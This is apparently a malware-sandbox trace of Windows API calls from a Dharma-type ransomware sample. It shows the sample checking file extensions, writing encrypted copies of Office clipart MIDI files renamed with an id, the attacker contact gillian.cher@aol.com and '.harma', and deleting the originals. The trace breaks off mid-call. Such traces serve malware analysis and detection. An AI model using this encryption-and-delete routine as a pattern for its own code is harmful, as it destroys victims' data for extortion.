[0142.072] lstrlenW (lpString=".jpg") returned 4 [0142.072] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0142.072] lstrlenW (lpString=".doc") returned 4 [0142.072] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.073] lstrlenW (lpString=".docx") returned 5 [0142.073] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0142.073] lstrlenW (lpString=".pdf") returned 4 [0142.073] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.073] lstrlenW (lpString=".xls") returned 4 [0142.073] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.073] lstrlenW (lpString=".xlsx") returned 5 [0142.073] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0142.073] lstrlenW (lpString=".ppt") returned 4 [0142.073] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0142.073] lstrlenW (lpString=".zip") returned 4 [0142.073] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.073] lstrlenW (lpString=".rar") returned 4 [0142.073] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.073] lstrlenW (lpString=".bz2") returned 4 [0142.073] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.073] lstrlenW (lpString=".7z") returned 3 [0142.073] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0142.073] lstrlenW (lpString=".dbf") returned 4 [0142.073] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0142.073] lstrlenW (lpString=".1cd") returned 4 [0142.073] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0142.073] lstrlenW (lpString=".jpg") returned 4 [0142.073] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.074] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0142.074] lstrlenW (lpString="PARNT_01.MID") returned 12 [0142.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.074] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=6491) returned 1 [0142.074] CloseHandle (hObject=0x350) returned 1 [0142.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 0x20 [0142.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.075] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.075] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0142.075] GetLastError () returned 0x0 [0142.075] ReadFile (in: hFile=0x350, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x195b, lpOverlapped=0x0) returned 1 [0142.077] WriteFile (in: hFile=0x21c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x1960, lpOverlapped=0x0) returned 1 [0142.078] ReadFile (in: hFile=0x350, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0142.078] WriteFile (in: hFile=0x21c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.078] SetEndOfFile (hFile=0x21c) returned 1 [0142.078] CloseHandle (hObject=0x21c) returned 1 [0142.078] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.078] SetEndOfFile (hFile=0x350) returned 1 [0142.082] CloseHandle (hObject=0x350) returned 1 [0142.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0142.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0142.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0142.083] lstrlenW (lpString=".doc") returned 4 [0142.159] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.159] lstrlenW (lpString=".docx") returned 5 [0142.159] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0142.159] lstrlenW (lpString=".pdf") returned 4 [0142.159] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.159] lstrlenW (lpString=".xls") returned 4 [0142.159] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.159] lstrlenW (lpString=".xlsx") returned 5 [0142.159] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0142.159] lstrlenW (lpString=".ppt") returned 4 [0142.159] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0142.159] lstrlenW (lpString=".zip") returned 4 [0142.159] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.159] lstrlenW (lpString=".rar") returned 4 [0142.159] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.159] lstrlenW (lpString=".bz2") returned 4 [0142.159] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.159] lstrlenW (lpString=".7z") returned 3 [0142.159] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0142.159] lstrlenW (lpString=".dbf") returned 4 [0142.159] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0142.159] lstrlenW (lpString=".1cd") returned 4 [0142.159] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0142.159] lstrlenW (lpString=".jpg") returned 4 [0142.159] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0142.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0142.160] lstrlenW (lpString=".doc") returned 4 [0142.160] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.160] lstrlenW (lpString=".docx") returned 5 [0142.160] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0142.160] lstrlenW (lpString=".pdf") returned 4 [0142.160] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.160] lstrlenW (lpString=".xls") returned 4 [0142.160] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.160] lstrlenW (lpString=".xlsx") returned 5 [0142.160] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0142.160] lstrlenW (lpString=".ppt") returned 4 [0142.160] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0142.160] lstrlenW (lpString=".zip") returned 4 [0142.160] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.160] lstrlenW (lpString=".rar") returned 4 [0142.160] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.160] lstrlenW (lpString=".bz2") returned 4 [0142.160] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.160] lstrlenW (lpString=".7z") returned 3 [0142.160] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0142.160] lstrlenW (lpString=".dbf") returned 4 [0142.160] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0142.160] lstrlenW (lpString=".1cd") returned 4 [0142.160] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0142.160] lstrlenW (lpString=".jpg") returned 4 [0142.160] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.161] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0142.161] lstrlenW (lpString="PARNT_06.MID") returned 12 [0142.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0142.355] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=7768) returned 1 [0142.355] CloseHandle (hObject=0x354) returned 1 [0142.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20 [0142.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0142.356] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.356] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.357] GetLastError () returned 0x0 [0142.357] ReadFile (in: hFile=0x354, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x1e58, lpOverlapped=0x0) returned 1 [0142.417] WriteFile (in: hFile=0x350, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x1e60, lpOverlapped=0x0) returned 1 [0142.418] ReadFile (in: hFile=0x354, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0142.418] WriteFile (in: hFile=0x350, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.418] SetEndOfFile (hFile=0x350) returned 1 [0142.423] CloseHandle (hObject=0x350) returned 1 [0142.423] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.423] SetEndOfFile (hFile=0x354) returned 1 [0142.425] CloseHandle (hObject=0x354) returned 1 [0142.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0143.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0143.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0143.141] lstrlenW (lpString=".doc") returned 4 [0143.141] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.141] lstrlenW (lpString=".docx") returned 5 [0143.145] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0143.145] lstrlenW (lpString=".pdf") returned 4 [0143.146] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.146] lstrlenW (lpString=".xls") returned 4 [0143.146] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.146] lstrlenW (lpString=".xlsx") returned 5 [0143.146] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0143.146] lstrlenW (lpString=".ppt") returned 4 [0143.146] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0143.146] lstrlenW (lpString=".zip") returned 4 [0143.146] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.146] lstrlenW (lpString=".rar") returned 4 [0143.146] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.146] lstrlenW (lpString=".bz2") returned 4 [0143.146] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.146] lstrlenW (lpString=".7z") returned 3 [0143.146] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0143.146] lstrlenW (lpString=".dbf") returned 4 [0143.146] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0143.146] lstrlenW (lpString=".1cd") returned 4 [0143.146] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0143.146] lstrlenW (lpString=".jpg") returned 4 [0143.146] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0143.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0143.146] lstrlenW (lpString=".doc") returned 4 [0143.146] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.146] lstrlenW (lpString=".docx") returned 5 [0143.146] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0143.147] lstrlenW (lpString=".pdf") returned 4 [0143.147] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.147] lstrlenW (lpString=".xls") returned 4 [0143.147] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.147] lstrlenW (lpString=".xlsx") returned 5 [0143.147] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0143.147] lstrlenW (lpString=".ppt") returned 4 [0143.147] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0143.147] lstrlenW (lpString=".zip") returned 4 [0143.147] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.147] lstrlenW (lpString=".rar") returned 4 [0143.147] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.147] lstrlenW (lpString=".bz2") returned 4 [0143.147] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.147] lstrlenW (lpString=".7z") returned 3 [0143.147] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0143.147] lstrlenW (lpString=".dbf") returned 4 [0143.147] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0143.147] lstrlenW (lpString=".1cd") returned 4 [0143.147] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0143.147] lstrlenW (lpString=".jpg") returned 4 [0143.147] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.147] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.148] lstrlenW (lpString="PARNT_07.MID") returned 12 [0143.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0143.188] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=6564) returned 1 [0143.188] CloseHandle (hObject=0x344) returned 1 [0143.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 0x20 [0143.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0143.189] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.189] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0143.203] GetLastError () returned 0x0 [0143.203] ReadFile (in: hFile=0x344, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x19a4, lpOverlapped=0x0) returned 1 [0143.210] WriteFile (in: hFile=0x214, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x19b0, lpOverlapped=0x0) returned 1 [0143.211] ReadFile (in: hFile=0x344, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.211] WriteFile (in: hFile=0x214, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.211] SetEndOfFile (hFile=0x214) returned 1 [0143.211] CloseHandle (hObject=0x214) returned 1 [0143.211] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.211] SetEndOfFile (hFile=0x344) returned 1 [0143.213] CloseHandle (hObject=0x344) returned 1 [0143.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0143.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0143.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0143.300] lstrlenW (lpString=".doc") returned 4 [0143.300] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.300] lstrlenW (lpString=".docx") returned 5 [0143.300] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0143.300] lstrlenW (lpString=".pdf") returned 4 [0143.300] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.300] lstrlenW (lpString=".xls") returned 4 [0143.300] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.300] lstrlenW (lpString=".xlsx") returned 5 [0143.300] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0143.300] lstrlenW (lpString=".ppt") returned 4 [0143.300] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0143.300] lstrlenW (lpString=".zip") returned 4 [0143.300] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.301] lstrlenW (lpString=".rar") returned 4 [0143.301] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.301] lstrlenW (lpString=".bz2") returned 4 [0143.301] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.301] lstrlenW (lpString=".7z") returned 3 [0143.301] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0143.301] lstrlenW (lpString=".dbf") returned 4 [0143.301] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0143.301] lstrlenW (lpString=".1cd") returned 4 [0143.301] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0143.301] lstrlenW (lpString=".jpg") returned 4 [0143.301] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0143.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0143.301] lstrlenW (lpString=".doc") returned 4 [0143.301] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.301] lstrlenW (lpString=".docx") returned 5 [0143.301] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0143.301] lstrlenW (lpString=".pdf") returned 4 [0143.301] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.301] lstrlenW (lpString=".xls") returned 4 [0143.301] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.301] lstrlenW (lpString=".xlsx") returned 5 [0143.301] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0143.301] lstrlenW (lpString=".ppt") returned 4 [0143.301] 